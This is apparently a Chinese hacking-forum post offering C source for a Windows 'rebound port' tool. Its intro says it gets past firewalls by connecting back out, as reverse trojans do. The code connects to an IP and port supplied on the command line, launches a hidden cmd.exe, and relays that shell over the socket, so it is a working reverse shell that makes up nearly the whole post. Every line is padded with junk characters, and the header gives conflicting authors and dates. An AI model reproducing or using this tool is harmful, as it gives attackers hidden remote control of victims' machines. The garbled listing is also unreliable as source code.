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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MV$E_@pg  
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/* ============================== @uyQH c,V  
Rebound port in Windows NT &q|vvF<G  
By wind,2006/7 (v?@evQ  
===============================*/ E va&/o?P|  
#include wry`2_c  
#include ."dT6uE  
9J7yR}2-F  
#pragma comment(lib,"wsock32.lib") 5(CInl  
YG0/e#5  
void OutputShell(); #\X)|p2  
SOCKET sClient; }bw^p.ci  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Te}gmt+#%  
16Ka>=G  
void main(int argc,char **argv) Fu{VO~w  
{ geK;r0(f  
WSADATA stWsaData; !%R):^R8  
int nRet; {'zS8  
SOCKADDR_IN stSaiClient,stSaiServer;  )XonFI  
:|5 m"X\  
if(argc != 3) cu}(\a  
{ UUWRC1EtI  
printf("Useage:\n\rRebound DestIP DestPort\n"); ASi2;Q_{_  
return; I52nQCXi  
} 0);5cbV7i  
-<x%  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,?m@Ko7Y  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dl=)\mSFjF  
&J/!D#  
stSaiClient.sin_family = AF_INET; Cw:|(`9  
stSaiClient.sin_port = htons(0); oO[eer_S-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qmpT G:+  
AoGpM,W]5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?84f\<"  
{ ~H\P0G5GA  
printf("Bind Socket Failed!\n"); hb8oq3*x  
return; /[Fk>Vhp  
} ^3sv2wh^|8  
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stSaiServer.sin_family = AF_INET; D#'CRJh;7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $9\8?gS  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FDuA5At  
][Tw^r&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {nSgiqd"28  
{ oVk!C a  
printf("Connect Error!");  Yf[Cmn  
return; $G0e1)D  
} uHquJQ4  
OutputShell(); YYI0iM>  
} -T+YMAFU_  
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void OutputShell() :I?lT2+ea  
{ *j(fk[,i  
char szBuff[1024]; ,DHH5sDCn  
SECURITY_ATTRIBUTES stSecurityAttributes; ? XVE {N  
OSVERSIONINFO stOsversionInfo; bh8GP]*E|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V+sZ;$  
STARTUPINFO stStartupInfo; nO6UlY  
char *szShell; IG}yGGn  
PROCESS_INFORMATION stProcessInformation; 4Kj 8 i  
unsigned long lBytesRead; 2IHS)kkT|  
L=#B>Eu  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s'tXb=!HO  
\``w>Xy8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y /8iEs  
stSecurityAttributes.lpSecurityDescriptor = 0; ysp,:)-%G@  
stSecurityAttributes.bInheritHandle = TRUE; D3g5#.$,}>  
G@D8 [  
(oiQ5s^f  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '#A_KHD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ok,O/|E}?  
}@$CS5w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gmTBp}3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]c_lNHssmq  
stStartupInfo.wShowWindow = SW_HIDE; ~,F]~|U7l  
stStartupInfo.hStdInput = hReadPipe; C-49u<; ,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e 0$m<5  
OFv-bb*YZ  
GetVersionEx(&stOsversionInfo); ;X;x.pi   
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switch(stOsversionInfo.dwPlatformId) VZamR}x  
{ dXn$XGF%R  
case 1: -k>k<bDAI  
szShell = "command.com"; r.LOj6c  
break; Z 5 .cfI[  
default:  nmL|v  
szShell = "cmd.exe"; -*&aE~Cs  
break; M4 ?>x[Pw  
} nRq[il0 `i  
Xq"9TYf$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V=1yg24B<  
Y -BZV |  
send(sClient,szMsg,77,0); KvPLA{  
while(1) H^B,b !5i  
{ xV`)?hEXFh  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hms Aim9i  
if(lBytesRead) OPq6)(Q  
{ b+AxTe("  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gi:M=  
send(sClient,szBuff,lBytesRead,0);  5B1,,8P  
} CucW84H`J  
else @!x7jPr  
{ fk2Uxg=[  
lBytesRead=recv(sClient,szBuff,1024,0); A&KY7[<AC{  
if(lBytesRead<=0) break; ?<0'h{zNy  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3M^`6W[;  
} ze+S_{  
} #\="^z6  
]t17= Lr?  
return; 1G(wESe  
}
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